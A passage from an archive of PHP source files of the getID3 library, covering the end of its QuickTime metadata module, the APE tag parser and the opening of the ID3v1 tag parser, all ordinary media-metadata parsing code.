						'Brightness'                =>                       ord(substr($data, 52,  1)),
						'Saturation'                =>                       ord(substr($data, 53,  1)),
						'HueAdjustment'             =>                       ord(substr($data, 54,  1)),
						'FilterEffect'              =>         $FilterEffect[ord(substr($data, 55,  1))],
						'ToningEffect'              =>         $ToningEffect[ord(substr($data, 56,  1))],
						'ToningSaturation'          =>                       ord(substr($data, 57,  1)),
					);
					break;
				case 0x02000024: // WorldTime
					// http://www.sno.phy.queensu.ca/~phil/exiftool/TagNames/Nikon.html#WorldTime
					// timezone is stored as offset from GMT in minutes
					$timezone = getid3_lib::BigEndian2Int(substr($data, 0, 2));
					if ($timezone & 0x8000) {
						$timezone = 0 - (0x10000 - $timezone);
					}
					$timezone /= 60;

					$dst = (bool) getid3_lib::BigEndian2Int(substr($data, 2, 1));
					switch (getid3_lib::BigEndian2Int(substr($data, 3, 1))) {
						case 2:
							$datedisplayformat = 'D/M/Y'; break;
						case 1:
							$datedisplayformat = 'M/D/Y'; break;
						case 0:
						default:
							$datedisplayformat = 'Y/M/D'; break;
					}

					$data = array('timezone'=>floatval($timezone), 'dst'=>$dst, 'display'=>$datedisplayformat);
					break;
				case 0x02000083: // LensType
					$data = array(
						//'_'  => $data,
						'mf' => (bool) ($data & 0x01),
						'd'  => (bool) ($data & 0x02),
						'g'  => (bool) ($data & 0x04),
						'vr' => (bool) ($data & 0x08),
					);
					break;
			}
			$tag_name = (isset($NCTGtagName[$record_type]) ? $NCTGtagName[$record_type] : '0x'.str_pad(dechex($record_type), 8, '0', STR_PAD_LEFT));
			$parsed[$tag_name] = $data;
		}
		return $parsed;
	}


	public function CopyToAppropriateCommentsSection($keyname, $data, $boxname='') {
		static $handyatomtranslatorarray = array();
		if (empty($handyatomtranslatorarray)) {
			// http://www.geocities.com/xhelmboyx/quicktime/formats/qtm-layout.txt
			// http://www.geocities.com/xhelmboyx/quicktime/formats/mp4-layout.txt
			// http://atomicparsley.sourceforge.net/mpeg-4files.html
			// https://code.google.com/p/mp4v2/wiki/iTunesMetadata
			$handyatomtranslatorarray["\xA9".'alb'] = 'album';               // iTunes 4.0
			$handyatomtranslatorarray["\xA9".'ART'] = 'artist';
			$handyatomtranslatorarray["\xA9".'art'] = 'artist';              // iTunes 4.0
			$handyatomtranslatorarray["\xA9".'aut'] = 'author';
			$handyatomtranslatorarray["\xA9".'cmt'] = 'comment';             // iTunes 4.0
			$handyatomtranslatorarray["\xA9".'com'] = 'comment';
			$handyatomtranslatorarray["\xA9".'cpy'] = 'copyright';
			$handyatomtranslatorarray["\xA9".'day'] = 'creation_date';       // iTunes 4.0
			$handyatomtranslatorarray["\xA9".'dir'] = 'director';
			$handyatomtranslatorarray["\xA9".'ed1'] = 'edit1';
			$handyatomtranslatorarray["\xA9".'ed2'] = 'edit2';
			$handyatomtranslatorarray["\xA9".'ed3'] = 'edit3';
			$handyatomtranslatorarray["\xA9".'ed4'] = 'edit4';
			$handyatomtranslatorarray["\xA9".'ed5'] = 'edit5';
			$handyatomtranslatorarray["\xA9".'ed6'] = 'edit6';
			$handyatomtranslatorarray["\xA9".'ed7'] = 'edit7';
			$handyatomtranslatorarray["\xA9".'ed8'] = 'edit8';
			$handyatomtranslatorarray["\xA9".'ed9'] = 'edit9';
			$handyatomtranslatorarray["\xA9".'enc'] = 'encoded_by';
			$handyatomtranslatorarray["\xA9".'fmt'] = 'format';
			$handyatomtranslatorarray["\xA9".'gen'] = 'genre';               // iTunes 4.0
			$handyatomtranslatorarray["\xA9".'grp'] = 'grouping';            // iTunes 4.2
			$handyatomtranslatorarray["\xA9".'hst'] = 'host_computer';
			$handyatomtranslatorarray["\xA9".'inf'] = 'information';
			$handyatomtranslatorarray["\xA9".'lyr'] = 'lyrics';              // iTunes 5.0
			$handyatomtranslatorarray["\xA9".'mak'] = 'make';
			$handyatomtranslatorarray["\xA9".'mod'] = 'model';
			$handyatomtranslatorarray["\xA9".'nam'] = 'title';               // iTunes 4.0
			$handyatomtranslatorarray["\xA9".'ope'] = 'composer';
			$handyatomtranslatorarray["\xA9".'prd'] = 'producer';
			$handyatomtranslatorarray["\xA9".'PRD'] = 'product';
			$handyatomtranslatorarray["\xA9".'prf'] = 'performers';
			$handyatomtranslatorarray["\xA9".'req'] = 'system_requirements';
			$handyatomtranslatorarray["\xA9".'src'] = 'source_credit';
			$handyatomtranslatorarray["\xA9".'swr'] = 'software';
			$handyatomtranslatorarray["\xA9".'too'] = 'encoding_tool';       // iTunes 4.0
			$handyatomtranslatorarray["\xA9".'trk'] = 'track';
			$handyatomtranslatorarray["\xA9".'url'] = 'url';
			$handyatomtranslatorarray["\xA9".'wrn'] = 'warning';
			$handyatomtranslatorarray["\xA9".'wrt'] = 'composer';
			$handyatomtranslatorarray['aART'] = 'album_artist';
			$handyatomtranslatorarray['apID'] = 'purchase_account';
			$handyatomtranslatorarray['catg'] = 'category';            // iTunes 4.9
			$handyatomtranslatorarray['covr'] = 'picture';             // iTunes 4.0
			$handyatomtranslatorarray['cpil'] = 'compilation';         // iTunes 4.0
			$handyatomtranslatorarray['cprt'] = 'copyright';           // iTunes 4.0?
			$handyatomtranslatorarray['desc'] = 'description';         // iTunes 5.0
			$handyatomtranslatorarray['disk'] = 'disc_number';         // iTunes 4.0
			$handyatomtranslatorarray['egid'] = 'episode_guid';        // iTunes 4.9
			$handyatomtranslatorarray['gnre'] = 'genre';               // iTunes 4.0
			$handyatomtranslatorarray['hdvd'] = 'hd_video';            // iTunes 4.0
			$handyatomtranslatorarray['ldes'] = 'description_long';    //
			$handyatomtranslatorarray['keyw'] = 'keyword';             // iTunes 4.9
			$handyatomtranslatorarray['pcst'] = 'podcast';             // iTunes 4.9
			$handyatomtranslatorarray['pgap'] = 'gapless_playback';    // iTunes 7.0
			$handyatomtranslatorarray['purd'] = 'purchase_date';       // iTunes 6.0.2
			$handyatomtranslatorarray['purl'] = 'podcast_url';         // iTunes 4.9
			$handyatomtranslatorarray['rtng'] = 'rating';              // iTunes 4.0
			$handyatomtranslatorarray['soaa'] = 'sort_album_artist';   //
			$handyatomtranslatorarray['soal'] = 'sort_album';          //
			$handyatomtranslatorarray['soar'] = 'sort_artist';         //
			$handyatomtranslatorarray['soco'] = 'sort_composer';       //
			$handyatomtranslatorarray['sonm'] = 'sort_title';          //
			$handyatomtranslatorarray['sosn'] = 'sort_show';           //
			$handyatomtranslatorarray['stik'] = 'stik';                // iTunes 4.9
			$handyatomtranslatorarray['tmpo'] = 'bpm';                 // iTunes 4.0
			$handyatomtranslatorarray['trkn'] = 'track_number';        // iTunes 4.0
			$handyatomtranslatorarray['tven'] = 'tv_episode_id';       //
			$handyatomtranslatorarray['tves'] = 'tv_episode';          // iTunes 6.0
			$handyatomtranslatorarray['tvnn'] = 'tv_network_name';     // iTunes 6.0
			$handyatomtranslatorarray['tvsh'] = 'tv_show_name';        // iTunes 6.0
			$handyatomtranslatorarray['tvsn'] = 'tv_season';           // iTunes 6.0

			// boxnames:
			/*
			$handyatomtranslatorarray['iTunSMPB']                    = 'iTunSMPB';
			$handyatomtranslatorarray['iTunNORM']                    = 'iTunNORM';
			$handyatomtranslatorarray['Encoding Params']             = 'Encoding Params';
			$handyatomtranslatorarray['replaygain_track_gain']       = 'replaygain_track_gain';
			$handyatomtranslatorarray['replaygain_track_peak']       = 'replaygain_track_peak';
			$handyatomtranslatorarray['replaygain_track_minmax']     = 'replaygain_track_minmax';
			$handyatomtranslatorarray['MusicIP PUID']                = 'MusicIP PUID';
			$handyatomtranslatorarray['MusicBrainz Artist Id']       = 'MusicBrainz Artist Id';
			$handyatomtranslatorarray['MusicBrainz Album Id']        = 'MusicBrainz Album Id';
			$handyatomtranslatorarray['MusicBrainz Album Artist Id'] = 'MusicBrainz Album Artist Id';
			$handyatomtranslatorarray['MusicBrainz Track Id']        = 'MusicBrainz Track Id';
			$handyatomtranslatorarray['MusicBrainz Disc Id']         = 'MusicBrainz Disc Id';

			// http://age.hobba.nl/audio/tag_frame_reference.html
			$handyatomtranslatorarray['PLAY_COUNTER']                = 'play_counter'; // Foobar2000 - http://www.getid3.org/phpBB3/viewtopic.php?t=1355
			$handyatomtranslatorarray['MEDIATYPE']                   = 'mediatype';    // Foobar2000 - http://www.getid3.org/phpBB3/viewtopic.php?t=1355
			*/
		}
		$info = &$this->getid3->info;
		$comment_key = '';
		if ($boxname && ($boxname != $keyname)) {
			$comment_key = (isset($handyatomtranslatorarray[$boxname]) ? $handyatomtranslatorarray[$boxname] : $boxname);
		} elseif (isset($handyatomtranslatorarray[$keyname])) {
			$comment_key = $handyatomtranslatorarray[$keyname];
		}
		if ($comment_key) {
			if ($comment_key == 'picture') {
				if (!is_array($data)) {
					$image_mime = '';
					if (preg_match('#^\x89\x50\x4E\x47\x0D\x0A\x1A\x0A#', $data)) {
						$image_mime = 'image/png';
					} elseif (preg_match('#^\xFF\xD8\xFF#', $data)) {
						$image_mime = 'image/jpeg';
					} elseif (preg_match('#^GIF#', $data)) {
						$image_mime = 'image/gif';
					} elseif (preg_match('#^BM#', $data)) {
						$image_mime = 'image/bmp';
					}
					$data = array('data'=>$data, 'image_mime'=>$image_mime);
				}
			}
			$gooddata = array($data);
			if ($comment_key == 'genre') {
				// some other taggers separate multiple genres with semicolon, e.g. "Heavy Metal;Thrash Metal;Metal"
				$gooddata = explode(';', $data);
			}
			foreach ($gooddata as $data) {
				$info['quicktime']['comments'][$comment_key][] = $data;
			}
		}
		return true;
	}

	public function NoNullString($nullterminatedstring) {
		// remove the single null terminator on null terminated strings
		if (substr($nullterminatedstring, strlen($nullterminatedstring) - 1, 1) === "\x00") {
			return substr($nullterminatedstring, 0, strlen($nullterminatedstring) - 1);
		}
		return $nullterminatedstring;
	}

	public function Pascal2String($pascalstring) {
		// Pascal strings have 1 unsigned byte at the beginning saying how many chars (1-255) are in the string
		return substr($pascalstring, 1);
	}


	/*
	// helper functions for m4b audiobook chapters
	// code by Steffen Hartmann 2015-Nov-08
	*/
	public function search_tag_by_key($info, $tag, $history, &$result) {
		foreach ($info as $key => $value) {
			$key_history = $history.'/'.$key;
			if ($key === $tag) {
				$result[] = array($key_history, $info);
			} else {
				if (is_array($value)) {
					$this->search_tag_by_key($value, $tag, $key_history, $result);
				}
			}
		}
	}

	public function search_tag_by_pair($info, $k, $v, $history, &$result) {
		foreach ($info as $key => $value) {
			$key_history = $history.'/'.$key;
			if (($key === $k) && ($value === $v)) {
				$result[] = array($key_history, $info);
			} else {
				if (is_array($value)) {
					$this->search_tag_by_pair($value, $k, $v, $key_history, $result);
				}
			}
		}
	}

	public function quicktime_time_to_sample_table($info) {
		$res = array();
		$this->search_tag_by_pair($info['quicktime']['moov'], 'name', 'stbl', 'quicktime/moov', $res);
		foreach ($res as $value) {
			$stbl_res = array();
			$this->search_tag_by_pair($value[1], 'data_format', 'text', $value[0], $stbl_res);
			if (count($stbl_res) > 0) {
				$stts_res = array();
				$this->search_tag_by_key($value[1], 'time_to_sample_table', $value[0], $stts_res);
				if (count($stts_res) > 0) {
					return $stts_res[0][1]['time_to_sample_table'];
				}
			}
		}
		return array();
	}

	function quicktime_bookmark_time_scale($info) {
		$time_scale = '';
		$ts_prefix_len = 0;
		$res = array();
		$this->search_tag_by_pair($info['quicktime']['moov'], 'name', 'stbl', 'quicktime/moov', $res);
		foreach ($res as $value) {
			$stbl_res = array();
			$this->search_tag_by_pair($value[1], 'data_format', 'text', $value[0], $stbl_res);
			if (count($stbl_res) > 0) {
				$ts_res = array();
				$this->search_tag_by_key($info['quicktime']['moov'], 'time_scale', 'quicktime/moov', $ts_res);
				foreach ($ts_res as $value) {
					$prefix = substr($value[0], 0, -12);
					if ((substr($stbl_res[0][0], 0, strlen($prefix)) === $prefix) && ($ts_prefix_len < strlen($prefix))) {
						$time_scale = $value[1]['time_scale'];
						$ts_prefix_len = strlen($prefix);
					}
				}
			}
		}
		return $time_scale;
	}
	/*
	// END helper functions for m4b audiobook chapters
	*/


}
editor/libraries/classes/vendor/getid3/getid3/module.tag.apetag.php000060400000043776150750527150021332 0ustar00<?php
/////////////////////////////////////////////////////////////////
/// getID3() by James Heinrich <info@getid3.org>               //
//  available at http://getid3.sourceforge.net                 //
//            or http://www.getid3.org                         //
//          also https://github.com/JamesHeinrich/getID3       //
/////////////////////////////////////////////////////////////////
// See readme.txt for more details                             //
/////////////////////////////////////////////////////////////////
//                                                             //
// module.tag.apetag.php                                       //
// module for analyzing APE tags                               //
// dependencies: NONE                                          //
//                                                            ///
/////////////////////////////////////////////////////////////////

class getid3_apetag extends getid3_handler
{
	public $inline_attachments = true; // true: return full data for all attachments; false: return no data for all attachments; integer: return data for attachments <= than this; string: save as file to this directory
	public $overrideendoffset  = 0;

	public function Analyze() {
		$info = &$this->getid3->info;

		if (!getid3_lib::intValueSupported($info['filesize'])) {
			$this->warning('Unable to check for APEtags because file is larger than '.round(PHP_INT_MAX / 1073741824).'GB');
			return false;
		}

		$id3v1tagsize     = 128;
		$apetagheadersize = 32;
		$lyrics3tagsize   = 10;

		if ($this->overrideendoffset == 0) {

			$this->fseek(0 - $id3v1tagsize - $apetagheadersize - $lyrics3tagsize, SEEK_END);
			$APEfooterID3v1 = $this->fread($id3v1tagsize + $apetagheadersize + $lyrics3tagsize);

			//if (preg_match('/APETAGEX.{24}TAG.{125}$/i', $APEfooterID3v1)) {
			if (substr($APEfooterID3v1, strlen($APEfooterID3v1) - $id3v1tagsize - $apetagheadersize, 8) == 'APETAGEX') {

				// APE tag found before ID3v1
				$info['ape']['tag_offset_end'] = $info['filesize'] - $id3v1tagsize;

			//} elseif (preg_match('/APETAGEX.{24}$/i', $APEfooterID3v1)) {
			} elseif (substr($APEfooterID3v1, strlen($APEfooterID3v1) - $apetagheadersize, 8) == 'APETAGEX') {

				// APE tag found, no ID3v1
				$info['ape']['tag_offset_end'] = $info['filesize'];

			}

		} else {

			$this->fseek($this->overrideendoffset - $apetagheadersize);
			if ($this->fread(8) == 'APETAGEX') {
				$info['ape']['tag_offset_end'] = $this->overrideendoffset;
			}

		}
		if (!isset($info['ape']['tag_offset_end'])) {

			// APE tag not found
			unset($info['ape']);
			return false;

		}

		// shortcut
		$thisfile_ape = &$info['ape'];

		$this->fseek($thisfile_ape['tag_offset_end'] - $apetagheadersize);
		$APEfooterData = $this->fread(32);
		if (!($thisfile_ape['footer'] = $this->parseAPEheaderFooter($APEfooterData))) {
			$this->error('Error parsing APE footer at offset '.$thisfile_ape['tag_offset_end']);
			return false;
		}

		if (isset($thisfile_ape['footer']['flags']['header']) && $thisfile_ape['footer']['flags']['header']) {
			$this->fseek($thisfile_ape['tag_offset_end'] - $thisfile_ape['footer']['raw']['tagsize'] - $apetagheadersize);
			$thisfile_ape['tag_offset_start'] = $this->ftell();
			$APEtagData = $this->fread($thisfile_ape['footer']['raw']['tagsize'] + $apetagheadersize);
		} else {
			$thisfile_ape['tag_offset_start'] = $thisfile_ape['tag_offset_end'] - $thisfile_ape['footer']['raw']['tagsize'];
			$this->fseek($thisfile_ape['tag_offset_start']);
			$APEtagData = $this->fread($thisfile_ape['footer']['raw']['tagsize']);
		}
		$info['avdataend'] = $thisfile_ape['tag_offset_start'];

		if (isset($info['id3v1']['tag_offset_start']) && ($info['id3v1']['tag_offset_start'] < $thisfile_ape['tag_offset_end'])) {
			$this->warning('ID3v1 tag information ignored since it appears to be a false synch in APEtag data');
			unset($info['id3v1']);
			foreach ($info['warning'] as $key => $value) {
				if ($value == 'Some ID3v1 fields do not use NULL characters for padding') {
					unset($info['warning'][$key]);
					sort($info['warning']);
					break;
				}
			}
		}

		$offset = 0;
		if (isset($thisfile_ape['footer']['flags']['header']) && $thisfile_ape['footer']['flags']['header']) {
			if ($thisfile_ape['header'] = $this->parseAPEheaderFooter(substr($APEtagData, 0, $apetagheadersize))) {
				$offset += $apetagheadersize;
			} else {
				$this->error('Error parsing APE header at offset '.$thisfile_ape['tag_offset_start']);
				return false;
			}
		}

		// shortcut
		$info['replay_gain'] = array();
		$thisfile_replaygain = &$info['replay_gain'];

		for ($i = 0; $i < $thisfile_ape['footer']['raw']['tag_items']; $i++) {
			$value_size = getid3_lib::LittleEndian2Int(substr($APEtagData, $offset, 4));
			$offset += 4;
			$item_flags = getid3_lib::LittleEndian2Int(substr($APEtagData, $offset, 4));
			$offset += 4;
			if (strstr(substr($APEtagData, $offset), "\x00") === false) {
				$this->error('Cannot find null-byte (0x00) separator between ItemKey #'.$i.' and value. ItemKey starts '.$offset.' bytes into the APE tag, at file offset '.($thisfile_ape['tag_offset_start'] + $offset));
				return false;
			}
			$ItemKeyLength = strpos($APEtagData, "\x00", $offset) - $offset;
			$item_key      = strtolower(substr($APEtagData, $offset, $ItemKeyLength));

			// shortcut
			$thisfile_ape['items'][$item_key] = array();
			$thisfile_ape_items_current = &$thisfile_ape['items'][$item_key];

			$thisfile_ape_items_current['offset'] = $thisfile_ape['tag_offset_start'] + $offset;

			$offset += ($ItemKeyLength + 1); // skip 0x00 terminator
			$thisfile_ape_items_current['data'] = substr($APEtagData, $offset, $value_size);
			$offset += $value_size;

			$thisfile_ape_items_current['flags'] = $this->parseAPEtagFlags($item_flags);
			switch ($thisfile_ape_items_current['flags']['item_contents_raw']) {
				case 0: // UTF-8
				case 2: // Locator (URL, filename, etc), UTF-8 encoded
					$thisfile_ape_items_current['data'] = explode("\x00", $thisfile_ape_items_current['data']);
					break;

				case 1:  // binary data
				default:
					break;
			}

			switch (strtolower($item_key)) {
				// http://wiki.hydrogenaud.io/index.php?title=ReplayGain#MP3Gain
				case 'replaygain_track_gain':
					if (preg_match('#^[\\-\\+][0-9\\.,]{8}$#', $thisfile_ape_items_current['data'][0])) {
						$thisfile_replaygain['track']['adjustment'] = (float) str_replace(',', '.', $thisfile_ape_items_current['data'][0]); // float casting will see "0,95" as zero!
						$thisfile_replaygain['track']['originator'] = 'unspecified';
					} else {
						$this->warning('MP3gainTrackGain value in APEtag appears invalid: "'.$thisfile_ape_items_current['data'][0].'"');
					}
					break;

				case 'replaygain_track_peak':
					if (preg_match('#^[0-9\\.,]{8}$#', $thisfile_ape_items_current['data'][0])) {
						$thisfile_replaygain['track']['peak']       = (float) str_replace(',', '.', $thisfile_ape_items_current['data'][0]); // float casting will see "0,95" as zero!
						$thisfile_replaygain['track']['originator'] = 'unspecified';
						if ($thisfile_replaygain['track']['peak'] <= 0) {
							$this->warning('ReplayGain Track peak from APEtag appears invalid: '.$thisfile_replaygain['track']['peak'].' (original value = "'.$thisfile_ape_items_current['data'][0].'")');
						}
					} else {
						$this->warning('MP3gainTrackPeak value in APEtag appears invalid: "'.$thisfile_ape_items_current['data'][0].'"');
					}
					break;

				case 'replaygain_album_gain':
					if (preg_match('#^[\\-\\+][0-9\\.,]{8}$#', $thisfile_ape_items_current['data'][0])) {
						$thisfile_replaygain['album']['adjustment'] = (float) str_replace(',', '.', $thisfile_ape_items_current['data'][0]); // float casting will see "0,95" as zero!
						$thisfile_replaygain['album']['originator'] = 'unspecified';
					} else {
						$this->warning('MP3gainAlbumGain value in APEtag appears invalid: "'.$thisfile_ape_items_current['data'][0].'"');
					}
					break;

				case 'replaygain_album_peak':
					if (preg_match('#^[0-9\\.,]{8}$#', $thisfile_ape_items_current['data'][0])) {
						$thisfile_replaygain['album']['peak']       = (float) str_replace(',', '.', $thisfile_ape_items_current['data'][0]); // float casting will see "0,95" as zero!
						$thisfile_replaygain['album']['originator'] = 'unspecified';
						if ($thisfile_replaygain['album']['peak'] <= 0) {
							$this->warning('ReplayGain Album peak from APEtag appears invalid: '.$thisfile_replaygain['album']['peak'].' (original value = "'.$thisfile_ape_items_current['data'][0].'")');
						}
					} else {
						$this->warning('MP3gainAlbumPeak value in APEtag appears invalid: "'.$thisfile_ape_items_current['data'][0].'"');
					}
					break;

				case 'mp3gain_undo':
					if (preg_match('#^[\\-\\+][0-9]{3},[\\-\\+][0-9]{3},[NW]$#', $thisfile_ape_items_current['data'][0])) {
						list($mp3gain_undo_left, $mp3gain_undo_right, $mp3gain_undo_wrap) = explode(',', $thisfile_ape_items_current['data'][0]);
						$thisfile_replaygain['mp3gain']['undo_left']  = intval($mp3gain_undo_left);
						$thisfile_replaygain['mp3gain']['undo_right'] = intval($mp3gain_undo_right);
						$thisfile_replaygain['mp3gain']['undo_wrap']  = (($mp3gain_undo_wrap == 'Y') ? true : false);
					} else {
						$this->warning('MP3gainUndo value in APEtag appears invalid: "'.$thisfile_ape_items_current['data'][0].'"');
					}
					break;

				case 'mp3gain_minmax':
					if (preg_match('#^[0-9]{3},[0-9]{3}$#', $thisfile_ape_items_current['data'][0])) {
						list($mp3gain_globalgain_min, $mp3gain_globalgain_max) = explode(',', $thisfile_ape_items_current['data'][0]);
						$thisfile_replaygain['mp3gain']['globalgain_track_min'] = intval($mp3gain_globalgain_min);
						$thisfile_replaygain['mp3gain']['globalgain_track_max'] = intval($mp3gain_globalgain_max);
					} else {
						$this->warning('MP3gainMinMax value in APEtag appears invalid: "'.$thisfile_ape_items_current['data'][0].'"');
					}
					break;

				case 'mp3gain_album_minmax':
					if (preg_match('#^[0-9]{3},[0-9]{3}$#', $thisfile_ape_items_current['data'][0])) {
						list($mp3gain_globalgain_album_min, $mp3gain_globalgain_album_max) = explode(',', $thisfile_ape_items_current['data'][0]);
						$thisfile_replaygain['mp3gain']['globalgain_album_min'] = intval($mp3gain_globalgain_album_min);
						$thisfile_replaygain['mp3gain']['globalgain_album_max'] = intval($mp3gain_globalgain_album_max);
					} else {
						$this->warning('MP3gainAlbumMinMax value in APEtag appears invalid: "'.$thisfile_ape_items_current['data'][0].'"');
					}
					break;

				case 'tracknumber':
					if (is_array($thisfile_ape_items_current['data'])) {
						foreach ($thisfile_ape_items_current['data'] as $comment) {
							$thisfile_ape['comments']['track'][] = $comment;
						}
					}
					break;

				case 'cover art (artist)':
				case 'cover art (back)':
				case 'cover art (band logo)':
				case 'cover art (band)':
				case 'cover art (colored fish)':
				case 'cover art (composer)':
				case 'cover art (conductor)':
				case 'cover art (front)':
				case 'cover art (icon)':
				case 'cover art (illustration)':
				case 'cover art (lead)':
				case 'cover art (leaflet)':
				case 'cover art (lyricist)':
				case 'cover art (media)':
				case 'cover art (movie scene)':
				case 'cover art (other icon)':
				case 'cover art (other)':
				case 'cover art (performance)':
				case 'cover art (publisher logo)':
				case 'cover art (recording)':
				case 'cover art (studio)':
					// list of possible cover arts from http://taglib-sharp.sourcearchive.com/documentation/2.0.3.0-2/Ape_2Tag_8cs-source.html
					if (is_array($thisfile_ape_items_current['data'])) {
						$this->warning('APEtag "'.$item_key.'" should be flagged as Binary data, but was incorrectly flagged as UTF-8');
						$thisfile_ape_items_current['data'] = implode("\x00", $thisfile_ape_items_current['data']);
					}
					list($thisfile_ape_items_current['filename'], $thisfile_ape_items_current['data']) = explode("\x00", $thisfile_ape_items_current['data'], 2);
					$thisfile_ape_items_current['data_offset'] = $thisfile_ape_items_current['offset'] + strlen($thisfile_ape_items_current['filename']."\x00");
					$thisfile_ape_items_current['data_length'] = strlen($thisfile_ape_items_current['data']);

					do {
						$thisfile_ape_items_current['image_mime'] = '';
						$imageinfo = array();
						$imagechunkcheck = getid3_lib::GetDataImageSize($thisfile_ape_items_current['data'], $imageinfo);
						if (($imagechunkcheck === false) || !isset($imagechunkcheck[2])) {
							$this->warning('APEtag "'.$item_key.'" contains invalid image data');
							break;
						}
						$thisfile_ape_items_current['image_mime'] = image_type_to_mime_type($imagechunkcheck[2]);

						if ($this->inline_attachments === false) {
							// skip entirely
							unset($thisfile_ape_items_current['data']);
							break;
						}
						if ($this->inline_attachments === true) {
							// great
						} elseif (is_int($this->inline_attachments)) {
							if ($this->inline_attachments < $thisfile_ape_items_current['data_length']) {
								// too big, skip
								$this->warning('attachment at '.$thisfile_ape_items_current['offset'].' is too large to process inline ('.number_format($thisfile_ape_items_current['data_length']).' bytes)');
								unset($thisfile_ape_items_current['data']);
								break;
							}
						} elseif (is_string($this->inline_attachments)) {
							$this->inline_attachments = rtrim(str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $this->inline_attachments), DIRECTORY_SEPARATOR);
							if (!is_dir($this->inline_attachments) || !is_writable($this->inline_attachments)) {
								// cannot write, skip
								$this->warning('attachment at '.$thisfile_ape_items_current['offset'].' cannot be saved to "'.$this->inline_attachments.'" (not writable)');
								unset($thisfile_ape_items_current['data']);
								break;
							}
						}
						// if we get this far, must be OK
						if (is_string($this->inline_attachments)) {
							$destination_filename = $this->inline_attachments.DIRECTORY_SEPARATOR.md5($info['filenamepath']).'_'.$thisfile_ape_items_current['data_offset'];
							if (!file_exists($destination_filename) || is_writable($destination_filename)) {
								file_put_contents($destination_filename, $thisfile_ape_items_current['data']);
							} else {
								$this->warning('attachment at '.$thisfile_ape_items_current['offset'].' cannot be saved to "'.$destination_filename.'" (not writable)');
							}
							$thisfile_ape_items_current['data_filename'] = $destination_filename;
							unset($thisfile_ape_items_current['data']);
						} else {
							if (!isset($info['ape']['comments']['picture'])) {
								$info['ape']['comments']['picture'] = array();
							}
							$comments_picture_data = array();
							foreach (array('data', 'image_mime', 'image_width', 'image_height', 'imagetype', 'picturetype', 'description', 'datalength') as $picture_key) {
								if (isset($thisfile_ape_items_current[$picture_key])) {
									$comments_picture_data[$picture_key] = $thisfile_ape_items_current[$picture_key];
								}
							}
							$info['ape']['comments']['picture'][] = $comments_picture_data;
							unset($comments_picture_data);
						}
					} while (false);
					break;

				default:
					if (is_array($thisfile_ape_items_current['data'])) {
						foreach ($thisfile_ape_items_current['data'] as $comment) {
							$thisfile_ape['comments'][strtolower($item_key)][] = $comment;
						}
					}
					break;
			}

		}
		if (empty($thisfile_replaygain)) {
			unset($info['replay_gain']);
		}
		return true;
	}

	public function parseAPEheaderFooter($APEheaderFooterData) {
		// http://www.uni-jena.de/~pfk/mpp/sv8/apeheader.html

		// shortcut
		$headerfooterinfo['raw'] = array();
		$headerfooterinfo_raw = &$headerfooterinfo['raw'];

		$headerfooterinfo_raw['footer_tag']   =                  substr($APEheaderFooterData,  0, 8);
		if ($headerfooterinfo_raw['footer_tag'] != 'APETAGEX') {
			return false;
		}
		$headerfooterinfo_raw['version']      = getid3_lib::LittleEndian2Int(substr($APEheaderFooterData,  8, 4));
		$headerfooterinfo_raw['tagsize']      = getid3_lib::LittleEndian2Int(substr($APEheaderFooterData, 12, 4));
		$headerfooterinfo_raw['tag_items']    = getid3_lib::LittleEndian2Int(substr($APEheaderFooterData, 16, 4));
		$headerfooterinfo_raw['global_flags'] = getid3_lib::LittleEndian2Int(substr($APEheaderFooterData, 20, 4));
		$headerfooterinfo_raw['reserved']     =                              substr($APEheaderFooterData, 24, 8);

		$headerfooterinfo['tag_version']         = $headerfooterinfo_raw['version'] / 1000;
		if ($headerfooterinfo['tag_version'] >= 2) {
			$headerfooterinfo['flags'] = $this->parseAPEtagFlags($headerfooterinfo_raw['global_flags']);
		}
		return $headerfooterinfo;
	}

	public function parseAPEtagFlags($rawflagint) {
		// "Note: APE Tags 1.0 do not use any of the APE Tag flags.
		// All are set to zero on creation and ignored on reading."
		// http://wiki.hydrogenaud.io/index.php?title=Ape_Tags_Flags
		$flags['header']            = (bool) ($rawflagint & 0x80000000);
		$flags['footer']            = (bool) ($rawflagint & 0x40000000);
		$flags['this_is_header']    = (bool) ($rawflagint & 0x20000000);
		$flags['item_contents_raw'] =        ($rawflagint & 0x00000006) >> 1;
		$flags['read_only']         = (bool) ($rawflagint & 0x00000001);

		$flags['item_contents']     = $this->APEcontentTypeFlagLookup($flags['item_contents_raw']);

		return $flags;
	}

	public function APEcontentTypeFlagLookup($contenttypeid) {
		static $APEcontentTypeFlagLookup = array(
			0 => 'utf-8',
			1 => 'binary',
			2 => 'external',
			3 => 'reserved'
		);
		return (isset($APEcontentTypeFlagLookup[$contenttypeid]) ? $APEcontentTypeFlagLookup[$contenttypeid] : 'invalid');
	}

	public function APEtagItemIsUTF8Lookup($itemkey) {
		static $APEtagItemIsUTF8Lookup = array(
			'title',
			'subtitle',
			'artist',
			'album',
			'debut album',
			'publisher',
			'conductor',
			'track',
			'composer',
			'comment',
			'copyright',
			'publicationright',
			'file',
			'year',
			'record date',
			'record location',
			'genre',
			'media',
			'related',
			'isrc',
			'abstract',
			'language',
			'bibliography'
		);
		return in_array(strtolower($itemkey), $APEtagItemIsUTF8Lookup);
	}

}
editor/libraries/classes/vendor/getid3/getid3/index.html000060400000000054150750527150017275 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/libraries/classes/vendor/getid3/getid3/module.tag.id3v1.php000060400000030637150750527150021007 0ustar00<?php
/////////////////////////////////////////////////////////////////
/// getID3() by James Heinrich <info@getid3.org>               //
//  available at http://getid3.sourceforge.net                 //
//            or http://www.getid3.org                         //
//          also https://github.com/JamesHeinrich/getID3       //
/////////////////////////////////////////////////////////////////
// See readme.txt for more details                             //
/////////////////////////////////////////////////////////////////
//                                                             //
// module.tag.id3v1.php                                        //
// module for analyzing ID3v1 tags                             //
// dependencies: NONE                                          //
//                                                            ///
/////////////////////////////////////////////////////////////////


class getid3_id3v1 extends getid3_handler
{

	public function Analyze() {
		$info = &$this->getid3->info;

		if (!getid3_lib::intValueSupported($info['filesize'])) {
			$this->warning('Unable to check for ID3v1 because file is larger than '.round(PHP_INT_MAX / 1073741824).'GB');
			return false;
		}

		$this->fseek(-256, SEEK_END);
		$preid3v1 = $this->fread(128);
		$id3v1tag = $this->fread(128);

		if (substr($id3v1tag, 0, 3) == 'TAG') {

			$info['avdataend'] = $info['filesize'] - 128;

			$ParsedID3v1['title']   = $this->cutfield(substr($id3v1tag,   3, 30));
			$ParsedID3v1['artist']  = $this->cutfield(substr($id3v1tag,  33, 30));
